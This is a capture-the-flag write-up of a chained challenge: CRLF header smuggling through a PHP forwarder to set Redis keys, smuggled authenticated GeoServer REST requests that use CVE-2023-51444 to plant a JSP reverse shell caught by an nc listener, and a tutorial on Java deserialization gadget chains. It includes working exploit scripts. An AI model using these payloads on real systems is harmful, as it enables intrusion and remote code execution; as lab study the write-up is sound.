This is a 3-part challenge that requires chaining of exploits from each part to get to the final flag. Part 1 is a typical PHP/Redis web challenge. Part 2 is an n-day challenge on a GeoServer web server. Part 3 is a novel Java deserialization gadget chain exploit.

The challenge spins up a series of Docker containers on the same network.

  • web: A PHP server
  • redis: Redis cache to back the PHP server
  • geo: A GeoServer server, an open source server for sharing geospatial data
  • worker: Python helper for the web service to communicate to geo
  • the-eye: Java program enabling access to the Part 1 and Part 2 flags

Part 1: PHP

The first part of the challenge is getting the /poll PHP endpoint to return the flag. This requires passing some checks.

We must first submit a payload at /submit. This calculates hash = sha512(secret || payload) where secret is a known constant. It then generates a geospatial vector from the hash. The vector is sent to the GeoServer server, which calculates the perimeter of the polygon represented by the vector. If the calculated perimeter is zero, the PHP server returns the flag.

1
2
3
4
5
6
7
8
9
10
11
12
1. Send payload to /submit
2. PHP Server calculates hash and checks suffix
3. PHP Server generates a vector from the hash
4. PHP Server writes the vector and its name to Redis via pub/sub
5. PHP server returns the name to client
6. Python helper reads the vector and its name from Redis in pub/sub mode
7. Python helper sends the vector and its name to GeoServer
8. GeoServer calculates distances corresponding to the vector
9. GeoServer writes distance to Redis, using the name as the keyname
10. Send request to /poll with a specific name
11. PHP server looks up keyname in Redis cache
12. If the associated distance is zero, return flag
The full interaction sequence. The challenge uses Redis for communication.

If we can specify an arbitrary hash, it would be easy to a vector that describes a polygon with zero length. However, the PHP server calculates the hash from a plaintext payload, and then checks that the hash ends with 6 zeros. This prevents us from specifying arbitrary hashes, as we cannot invert the hashing. Effectively, the supplied generated geospatial vector will turn out to be random, which leaves a very low chance that the described polygon has zero length.

The server exposes another endpoint: /check. This acts as a HTTP request forwarder with some restrictions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
$json = file_get_contents('php://input');
$data = json_decode($json, true);

header('Content-Type: application/json');
$result = array(
    "result" => false
);

if (!isset($data["t"]) || !isset($data["h"])) {
    echo json_encode($result);
    return;
}

$t = $data["t"];
$h = $data["h"];

if (!str_starts_with($t, "http://")) {
    echo json_encode($result);
    return;
}

# Smuggling not allowed, find something else.
$d = array('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer');

$nh = array();
foreach ($h as $x => $y) {
    if (!is_string($x) || !is_string($y)) {
        echo json_encode($result);
        return;
    }

    $u = strtolower(trim($x));
    if (in_array($u, $d) ) {
        echo json_encode($result);
        return;
    }

    $v = strtolower(trim($y));
    foreach ($d as $k) {
        if (str_contains($v, $k)) {
            echo json_encode($result);
            return;
        }
    }

    array_push($nh, $u . ": " . $y);
}

$c = stream_context_create(array(
    "http" => array(
        "ignore_errors" => true,
        "header" => implode("\r\n", $nh)
    )
));

$response = @file_get_contents($t, false, $c);
if ($response) {
    $result["result"] = true;
}

echo json_encode($result);
return;
?>
Source code for check.php

The PHP code will make a HTTP request to our supplied URL, with our supplied headers, using @file_get_contents(). It also checks that the supplied headers are not part of a blacklist ('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer'). This endpoint will allow us to send HTTP requests to the internal Docker network and interact with the other services.

The exploit idea is intuitive: try to send a request to the Redis server directly. Recall that the /poll endpoint returns the flag after looking up the distance stored in the Redis cache. So, if we can interact with the Redis server and force it to create an entry with zero distance, we can obtain the flag.

SSRF to Redis exploitation is a known technique, where we exploit SSRF by smuggling Redis commands into HTTP request headers. Consider a usual HTTP request.

1
2
GET / HTTP/1.1
Host: 127.0.0.1

When sent to a Redis server, the Redis parser treats each line as a separate Redis command. The Redis protocol uses CRLF (\r\n) which is the same as used by the HTTP protocol. With the above request, the Redis server treats the first line as a GET command.

If we can inject arbitrary content into the HTTP request, we can insert a SET command to create a fake distance entry. Let’s look at the PHP code again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$h = $data["h"];  // supplied headers
// ...
$nh = array();
foreach ($h as $x => $y) {
    // ...
    $u = strtolower(trim($x));  // header name
    // ...
    array_push($nh, $u . ": " . $y);  // $y = header value
}

$c = stream_context_create(array(
    "http" => array(
        "ignore_errors" => true,
        "header" => implode("\r\n", $nh)
    )
));

$response = @file_get_contents($t, false, $c);

The server creates an array of headers ["key1: val1", "key2: val2"] from the user-supplied headers. The array elements are then joined with a CRLF, and passed as the header field to a stream_context_create() call, which is then used in the @file_get_contents() call. This results in a HTTP request that looks like this:

1
2
3
4
GET / HTTP/1.1
Host: 127.0.0.1
key1: val1
key2: val2

However, the server does not sanitize for CRLF values in the header values. Instead of val1, we can smuggle val1\r\nhiddenkey hiddenval, which will result in this HTTP request:

1
2
3
4
5
GET / HTTP/1.1
Host: 127.0.0.1
key1: val1
hiddenkey hiddenval
key2: val2

We can use this to inject a SET command. Notice that we can’t supply a SET header directly because the server would insert a colon after the header name, resulting in a syntax error.

However, Redis added mitigations against this class of SSRF attacks in 2017 (see: Smarx CTF challenge). Redis will terminate a connection when it sees a POST or Host: command. Since the Host header comes before all our supplied headers, the connection is terminated before Redis can process our injected SET command.

Luckily, we can make the Host header come after our supplied headers by specifying our own Host header. Supplying the headers ["key1: val1", "Host: 127.0.0.1"] will override the default Host header, and PHP will respect its relative position to the rest of the user-supplied headers. Again, we can smuggle the SET command after val1, and it will appear before Host.

The final problem is that the server sanitizer blocks the header name Host:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Smuggling not allowed, find something else.
$d = array('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer');

$nh = array();
foreach ($h as $x => $y) {
    if (!is_string($x) || !is_string($y)) {
        echo json_encode($result);
        return;
    }

    $u = strtolower(trim($x));  // $x is supplied header name
    if (in_array($u, $d) ) {    // found in blacklist
        echo json_encode($result);
        return;                 // early termination
    }
    $v = strtolower(trim($y));  // $y is supplied header value
    foreach ($d as $k) {        // for all blacklisted headers
        if (str_contains($v, $k)) {  // check it is not in the value
            echo json_encode($result);
            return;
        }
    }

To get around this, we can use the CRLF trick again. This time, we smuggle the Host header into another header’s name since we can’t put it in the header value.

Final exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from requests import *
import json
import hashlib

s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"


r = s.post(url + "/api/check.php", json={
    "t": "http://redis:6379",
    "h": {
        "abc": "42\r\nSET attempt_bob 0",
        "Hack: a\r\nHost": "redis:6379",
    }
})
print(r.text)

r = s.post(url + "/api/poll.php", json={"h": "attempt_bob"})
print(r.text)

Flag: TISC{d0nt_l00k_aw4y_0r_1t5_g0n3_ea98b517efe292de1b3663a892c384c5}

Part 2: GeoServer

The next part of the challenge is to get the GeoServer flag. GeoServer is an open-source server for sharing, processing, and editing geospatial data. It is provided as a Java binary in the geo container. There are three main ways to interact with GeoServer. One, there is a browser-based web admin interface. Two, there is a REST API that supports most of the actions the browser-based interface allows. Three, there are service endpoints which are used by applications – this is what the Python helper used in Part 1.

There is another binary on the geo container that will make the necessary requests to the-eye container to retrieve the geo flag. So, it seems that we need to obtain RCE on GeoServer and run the binary.

Firstly, we must be able to communicate freely with the GeoServer server. Currently, our only means of interacting with it is via the Python helper, which only supports the single service endpoint. We can extend our original header smuggling technique to smuggle whole requests! This is a known bug in PHP @file_get_contents() since 2021.

1
2
3
4
5
6
7
8
r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
        }
    })

This payload smuggles a POST request to GeoServer REST API and supplies a bearer token for authentication

Next, let’s explore possible RCE paths. Here’s the geo Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
FROM kartoza/geoserver:2.20.3
...

# Apply some patches to fix complex numbers.
RUN wget -O /tmp/download.zip https://sourceforge.net/projects/geoserver/files/GeoServer/2.20.4/geoserver-2.20.4-patches.zip/download
RUN unzip /tmp/download.zip
RUN mv gt-app-schema-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-app-schema-26.3.jar
RUN mv gt-complex-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-complex-26.3.jar
RUN mv gt-xsd-core-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-xsd-core-26.3.jar
RUN rm /tmp/download.zip
...

The challenge uses version 2.20.3 of GeoServer, which is extremely old. The latest version is 2.27.2, with 2.20.x reaching EOL in September 2022. The patches in the Dockerfile patch the most famous GeoServer RCE vulnerability, CVE-2024-36401, following the instructions in the remediation guide. Luckily, there are plenty of other vulnerabilities in GeoServer so we can simply pick a public PoC and adapt it for the challenge version.

For my exploit, I used CVE-2023-51444 which gives arbitrary file upload via directory traversal. Despite being an older vulnerability than the one the Dockerfile patch fixes, the challenge version was already EOL by then so it did not receive a patch (I suppose this vulnerability was deemed less severe than the 2024 RCE). The Github advisory contains a PoC, but we have to tweak it a little to work with the older challenge version.

Pulling the older version of the repository and rebuilding the documentation proved to be very useful. It helped me to identify discrepancies between the old API and the modern API, so that I could tweak the PoC accordingly.

Here are the three requests needed:

1
2
3
4
5
6
7
8
POST /geoserver/rest/workspaces
Data: <workspace><name>SOME_WORKSPACE_NAME</name></workspace>

PUT /geoserver/rest/workspaces/SOME_WORKSPACE_NAME/coveragestores/SOME_STORE_NAME/external.imagemosaic
Data: file:///usr/local/tomcat/webapps/examples

POST /geoserver/rest/workspaces/SOME_WORKSPACE_NAME/coveragestores/SOME_STORE_NAME/file.shp?filename=SOME_FILENAME
Data: FILE_DATA

The first request creates a new workspace. The second request creates a new coverage store by specifying the location of its raster data files. Specifically, this configures an “imagemosaic” coverage store and tells GeoServer to look for the data files at that absolute file path (this can be any path as long as GeoServer can access it). The third and final request uploads a file with the specified filename with the supplied file data. The path in the filename is treated as relative to the absolute file path, allowing for arbitrary file creation.

Since we can upload arbitrary files, we can simply upload a jsp reverse shell into the Apache server’s webapps directory. Then, visiting it (via the web proxy) will trigger the reverse shell and grant RCE.

One final bit to note is that the REST API endpoints are only available to authenticated users. To authenticate, we need to find out the admin’s username and password to put in a bearer token. The Dockerfile is based on the kartoza repository, which has a default admin username/password. The challenge does not overwrite this default, so we can simply use the default credentials to authenticate. However, due to a known bug in the setup, the default credentials is actually literally GEOSERVER_ADMIN_USER:GEOSERVER_ADMIN_PASSWORD instead of their environment values.

Exploit script:

Hide/show code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from requests import *
import json
import hashlib
import random
import string
import urllib.parse
from threading import Thread
from pwn import *
from solve3 import solve3

s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"
my_ip = "redacted"
my_port = "8000"

def random_string(length=8):
    return ''.join(random.choices(string.ascii_letters, k=length))

def exploit(payload=None):
    global my_port
    context.log_level = "debug"
    p = process(["nc", "-nvlp", my_port])
    p.recvline_contains(b"Connection received on")
    p.sendline(b"whoami && pwd")
    assert p.recvline().strip() == b"geoserveruser"
    if payload is None:
        p.interactive()
    else:
        payload(p)

    p.close()

def solve2(p):
    p.sendline(b"/readflag")
    print(p.recvline_contains(b"TISC"))

thread = Thread(target = exploit, args = (solve2,))
thread.start()
time.sleep(1)

workspace_name = random_string(10)
store_name = random_string(6)
filename = "super_duper_secret_shell_xd.jsp"

# https://github.com/LaiKash/JSP-Reverse-and-Web-Shell/blob/main/shell.jsp
payload = r"""
<truncated - refer to URL above>
"""
payload = payload.strip()
payload = hex(len(payload))[2:] + "\r\n" + payload + "\r\n0\r\n\r\n"

if True:
    # setup reverse shell
    # Payload 1
    r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
        }
    })
    print(r.text)
    assert json.loads(r.text)["result"] == True

    # Payload 2
    r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPUT /geoserver/rest/workspaces/"+workspace_name+ "/coveragestores/" +store_name+"/external.imagemosaic HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: text/plain\r\nContent-Length: 41\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "file:///usr/local/tomcat/webapps/examples\r\n"
        }
    })
    print(r.text)
    assert json.loads(r.text)["result"] == True

    # Payload 3
    r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces/"+workspace_name+"/coveragestores/"+store_name+"/file.shp?filename="+filename+" HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: application/zip\r\nTransfer-Encoding: chunked\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE",
        "t": "t\r\n\r\n" + payload
        }
    })
    print(r.text)

# Trigger reverse shell
r = s.post(url + "/api/check.php", json={
    "t": f"http://geo:8080/examples/" + filename,
    "h": {}
})
print(r.text)

Flag: TISC{4r0und_th3_Un1v3r53_l1k3_4_r1_4x1s_cf47f7e49c6da010561866cda8f7d1c1}

There is an even simpler vulnerability, CVE-2023-41877, that allows arbitrary file upload. This vulnerability relies on directory traversal by exploiting the log file path instead of the coverage store. Unfortunately, this requires the use of the Admin UI for setting the log file path. The Admin UI uses session tokens for authentication, which we have no way of leaking via the smuggled PHP requests. We can only send REST API requests that use bearer tokens, which we can prepare ahead of time. Interestingly, there is a REST API for setting the log file path in modern GeoServer versions but it was introduced after the challenge version.

Part 3: Java Deserialization

The final part of the challenge requires us to get RCE on the-eye server. This is a Java Spring server that supports de/serialization of a custom Token class. With our reverse shell on geo, we can send arbitrary requests to the-eye.

The Token class is simple.

1
2
3
4
5
6
public class Token {

    private String scope;
    private UUID magic;
    private HashMap<String, Object> properties;
    // ...

These are the deserialization methods:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private static final List<String> MISSED_COLLECTION_CLASSES = Arrays.asList("Unmodifiable", "Synchronized",
        "Checked");
        
public static Token deserializeFromBytes(byte[] data) throws IOException, ClassNotFoundException {
    byte[] decompressed = Snappy.uncompress(data);
    Input input = new Input(decompressed);
    Kryo kryo = createKryo();

    return kryo.readObject(input, Token.class);
}

public static Kryo createKryo() {
    Kryo kryo = new Kryo();
    kryo.setRegistrationRequired(false);
    kryo.setReferences(false);

    try {
        Class<?>[] f = Collections.class.getDeclaredClasses();
        Arrays.stream(f)
            .filter(cls -> MISSED_COLLECTION_CLASSES.stream().anyMatch(s -> cls.getName().contains(s)))
            .forEach(cls -> kryo.addDefaultSerializer(cls, new JavaSerializer()));
    } catch (Exception e) {
        e.printStackTrace();
    }
    kryo.addDefaultSerializer(UUID.class, new DefaultSerializers.UUIDSerializer());
    kryo.addDefaultSerializer(URI.class, new DefaultSerializers.URISerializer());
    kryo.addDefaultSerializer(Pattern.class, new DefaultSerializers.PatternSerializer());
    kryo.addDefaultSerializer(AtomicBoolean.class, new DefaultSerializers.AtomicBooleanSerializer());
    kryo.addDefaultSerializer(AtomicInteger.class, new DefaultSerializers.AtomicIntegerSerializer());
    kryo.addDefaultSerializer(AtomicLong.class, new DefaultSerializers.AtomicLongSerializer());
    kryo.addDefaultSerializer(AtomicReference.class, new DefaultSerializers.AtomicReferenceSerializer());

    return kryo;
}

The server will deserialize the user-supplied token using Kryo, falling back to the default JavaSerializer() for the three specific collection classes. It seems likely for the exploit to target the Java deserializer and not the Kryo deserializer, otherwise the inclusion of the fallback in this challenge would not be necessary.

The challenge can be stated simply: achieve RCE via a Java deserialization exploit. The difficulty lies in the set-up. The Java server is running JDK21, where many classic exploit techniques are blocked. Furthermore, the challenge uses modern versions of its Spring dependencies, where many public gadgets have been patched. Because of these settings, just using ysoserial won’t cut it.

1
2
3
4
5
6
7
8
9
10
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-aop</artifactId>
  <version>6.2.8</version>
</dependency>
<dependency>
  <groupId>org.aspectj</groupId>
  <artifactId>aspectjweaver</artifactId>
  <version>1.9.24</version>
</dependency>
The versions of the dependencies used

My experience with Java deserialization exploits in CTFs was limited to using existing gadget chains from ysoserial. I’ve never had to create a novel gadget chain from scratch. From my research, such CTF challenges are actually quite rare outside of Chinese CTFs. This challenge pushed me to understand how these gadget chains actually work. There aren’t many English write-ups about modern techniques, so I’ll provide my own explanation here.

Modern Java deserialization exploits

In Java, only classes that implement the Serializable interface can be serialized and deserialized. Consider the following class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Person implements Serializable {
    private String name;
    private transient String password;

    public Person(String name, String password) {
        this.name = name;
        this.password = password;
    }

    // Custom deserialization logic
    private void readObject(ObjectInputStream ois) 
            throws IOException, ClassNotFoundException {
        // Perform default deserialization
        ois.defaultReadObject();

        System.out.println("Custom readObject() called.");
        this.password = "DEFAULT_PASSWORD";
    }
}

The class Person implements the Serializable interface. It has two private fields, with the password field being marked transient. Transient fields are not serialized. This is useful for classes that contain objects that cannot be serialized. The Person class also defines a custom readObject() function. During deserialization, the JVM looks for this custom function. If it exists, it calls it to perform custom logic. In this case, the readObject() function prints out a message and re-initializes the transient password field.

The idea behind sources in gadget chains is classes perform some interesting functionality in their readObject() implementation. For instance, consider the following classes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Person implements Serializable {
    private String name;
    private String nickname;
    private transient String password;
    private transient Helper helper;

    private void readObject(ObjectInputStream ois)
            throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        System.out.println("Custom readObject() called.");
        this.helper = new Helper(name, nickname);
        this.password = "password_" + helper;
    }
}

The readObject() implementation creates a new Helper object, and implicitly calls its .toString() method when concatenating it to a string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Helper {
    private String name;
    private String nickname;
    Helper(String name, String nickname) {
        this.name = name;
        this.nickname = nickname;
    }

    @Override
    public String toString() {
        ReflectiveExecutor.runReflective(this.name, this.nickname);
        return this.name + "secret";
    }
}

The Helper class’s toString() implementation calls the ReflectiveExecutor::runReflective() method.

1
2
3
4
5
6
7
8
9
10
11
12
13
class ReflectiveExecutor {
    public static void runReflective(String className, String methodName) {
        try {
            // Load class dynamically
            Class<?> clazz = Class.forName(className);
            Method method = clazz.getDeclaredMethod(methodName);
            method.setAccessible(true);
            method.invoke(null);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Finally, ReflectiveExecutor::runReflective() reflectively executes a method based on the supplied parameters.

In this case, the Person class is the source. It calls .toString() on a different object. Sources typically call Object methods like toString(), hashCode() or equals(). The chain continues into the .toString() implementation in the Helper class. This then calls the ReflectiveExecutor::runReflective(), which is the sink. In gadget chains, the sinks complete the exploitation process. A common sink is reflective method invocation, as shown, which allows for RCE by calling the runtime.exec() function. Another common sink is JNDI look-up, which causes execution of Java code supplied by an attacker-controlled server.

It is easy to spot the gadget chain in this example. However, mining for gadgets becomes a lot more challenging in a larger codebase, where gadget chains are longer and there aren’t as many easy gadgets. Naturally, different Java modules will contain different gadgets based on the classes defined in those modules. Tools like ysoserial have gadget chains for various common modules, like Apache CommonsCollections and Spring. Unfortunately, these chains are extremely old and won’t work for this challenge.

In the next few sections, I’ll explain some of the patches in modern JDK versions while introducing the necessary gadgets to understand the final exploit chain.

Sources

Let’s begin our study by examining one technique that no longer works: BadAttributeValueExpException. This is a classic gadget in the standard library, used to go from readObject() to a toString() call on an arbitrary object. This will trigger a gadget that has interesting behaviour in its toString() function.

Here is the relevant source code in JDK 11:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class BadAttributeValueExpException extends Exception   {
    private Object val;

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        }
// ...

The class inherits from Exception, which implements the Serializable interface. It contains an arbitrary Object val. When it is deserialized, the custom readObject() function converts the val to a string using .toString().

Unfortunately, this gadget is blocked in JDK 17.

1
2
3
4
5
6
7
8
9
10
11
public class BadAttributeValueExpException extends Exception   {
    private String val;

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj instanceof String || valObj == null) {
            val = (String)valObj;
        }
// ...

The field val is no longer an Object, so we cannot use this gadget to obtain a .toString() call.

On modern JDK, there exist other gadgets for obtaining a .toString() call. The most famous of these gadgets is the XString gadget. However, these gadgets rely on libraries that the challenge does not use, so they are not applicable to us.

Another useful class of source gadgets are ones that go from readObject() to a getter call. Java classes commonly use getter methods to expose private fields, and follow the naming convention getPropertyName(). A well-known instance of this gadget class is the PriorityQueue-BeanComparator chain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class PriorityQueue<E> extends AbstractQueue<E>
    implements java.io.Serializable {
    /**
     * Priority queue represented as a balanced binary heap: the two
     * children of queue[n] are queue[2*n+1] and queue[2*(n+1)].  The
     * priority queue is ordered by comparator, or by the elements'
     * natural ordering, if comparator is null: For each node n in the
     * heap and each descendant d of n, n <= d.  The element with the
     * lowest value is in queue[0], assuming the queue is nonempty.
     */
    transient Object[] queue; // non-private to simplify nested class access
    private final Comparator<? super E> comparator;
    // ...
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
        final Object[] es = queue = new Object[Math.max(size, 1)];

        // Read in all elements.
        for (int i = 0, n = size; i < n; i++)
            es[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
    // ...

The PriorityQueue object contains a comparator object, which implements the Comparator interface. When the PriorityQueue is deserialized, it reconstructs its internal queue, then calls heapify() to reconstruct the binary heap. heapify() uses the comparator object to do this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void heapify() {
    final Object[] es = queue;
    int n = size, i = (n >>> 1) - 1;
    final Comparator<? super E> cmp;
    if ((cmp = comparator) == null)
        for (; i >= 0; i--)
            siftDownComparable(i, (E) es[i], es, n);
    else
        for (; i >= 0; i--)
            siftDownUsingComparator(i, (E) es[i], es, n, cmp);   // CALL here
}

private static <T> void siftDownUsingComparator(
    int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
    // assert n > 0;
    int half = n >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = es[child];
        int right = child + 1;
        if (right < n && cmp.compare((T) c, (T) es[right]) > 0)  // CALL here
            c = es[child = right];
        if (cmp.compare(x, (T) c) <= 0)
            break;
        es[k] = c;
        k = child;
    }
    es[k] = x;
}

This triggers the call chain: heapify() -> siftDownUsingComparator() -> Comparator::compare(). Consider when the comparator object is a BeanComparator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class BeanComparator<T, V> implements Comparator<T>, Serializable {
    // ...
    private String property;
    // ...
    public int compare(final T o1, final T o2) {

        if (property == null) {
            // compare the actual objects
            return internalCompare(o1, o2);
        }

        try {
            final Object value1 = PropertyUtils.getProperty(o1, property);
            final Object value2 = PropertyUtils.getProperty(o2, property);
            return internalCompare(value1, value2);
        } catch (final NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
            throw new RuntimeException(e.getClass().getSimpleName()+": " + e.toString());
        }
    }
    // ...

The BeanComparator compares two objects by comparing a property of theirs. This property is based on the field property. The PropertyUtils.getProperty() call then reflectively calls the getter for that property, effectively calling o1.getPropertyName(), where PropertyName is the value of the property field.

Recall that the objects passed to the BeanComparator::compare() function are passed in during the deserialization of PriorityQueue. We have full control over these objects. We also have full control over the property field in the BeanComparator. This two capabilities allow us to call an arbitrary getter on an arbitrary object.

It may still seem unclear as to why we would ever want to call .toString() or .getXXX() or some other object. The reason for doing so depends on the gadget chain. If the author finds a useful gadget chain that can only be triggered from a getter call, then they would want a source gadget that makes that call. For brevity, I won’t go into details about any of these gadget chains – there are many examples online if you are interested.

Proxies

Another common piece of gadget chains are proxies. Proxy objects act as surrogates for the real object. The purpose of a proxy is to control access to the real object and to add additional functionality before or after requests are forwarded to the real object. It is exactly this additional functionality that makes proxies a useful part of gadget chains.

Here is what a proxy looks like. We first create a proxy object using Proxy.newProxyInstance(...), passing in a series of interfaces and an InvocationHandler object. At runtime, the JVM creates a proxy class that implements all those interfaces. Furthermore, all its methods are overridden, with method calls delegated to a special handler – the InvocationHandler object. The InvocationHandler is used to inject additional functionality. Each of the overridden methods calls InvocationHandler.invoke(), passing in the method name and the parameters.

One classic chain that uses proxies is the CommonsCollections1 chain in ysoserial. Here the goal is to call LazyMap.get() (which will subsequently call other gadgets). To do so, we can utilize the AnnotationInvocationHandler class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Map<String, Object> memberValues;
    // ...
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        int parameterCount = method.getParameterCount();

        // Handle Object and Annotation methods
        if (parameterCount == 1 && member == "equals" &&
                method.getParameterTypes()[0] == Object.class) {
            return equalsImpl(proxy, args[0]);
        }
        if (parameterCount != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        }

        if (member == "toString") {
            return toStringImpl();
        } else if (member == "hashCode") {
            return hashCodeImpl();
        } else if (member == "annotationType") {
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);
        // ...

This class implements the InvocationHandler interface and contains a Map memberValues field. Because LazyMap extends Map, we can store a LazyMap object in the memberValues field. The invoke() call on the AnnotationInvocationHandler eventually calls memberValues.get(member), giving us the LazyMap.get() call we need to continue the gadget chain.

LazyMap is part of the Apache Commons Collections library, which the challenge does not use. So, this gadget chain does not work. However, the utilization of proxies will come in useful later.

Sinks

A common way for gadget chains to end is via a no-argument reflective method invocation or a getter call (recall the PriorityQueue-BeanComparator chain from before). In the former case, without the ability to pass arguments, we cannot run system commands with runtime.exec("cat /etc/shadow");. In the latter case, it can be difficult to find a getter that leads directly to RCE. The solution to both of these problems is the incredibly useful sink: TemplatesImpl (see: Tomas Tulka’s write-up).

This gadget can be found in the Java standard library.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public final class TemplatesImpl implements Templates, Serializable {
    private byte[][] _bytecodes = null;
    // ...
    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }
    
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

The call chain starts at the getter function getOutputProperties(), then follows into getOutputProperties() -> newTransformer() -> getTransletInstance() -> _class[_transletIndex].getConstructor().newInstance(), with the final call dynamically loading a class at runtime with a user-supplied bytecode. Because the bytecode is a field, we do not need to pass the initial function any arguments. The loaded class can contain static initializers, which will execute arbitrary code when initialized.

Clearly, this is an extremely versatile gadget. Unfortunately, it has been mitigated in modern JDKs. From JDK 17 onwards, strong encapsulation is enforced (this Oracle blog post does a good job of explaining the motivation behind the change). From the migration docs:

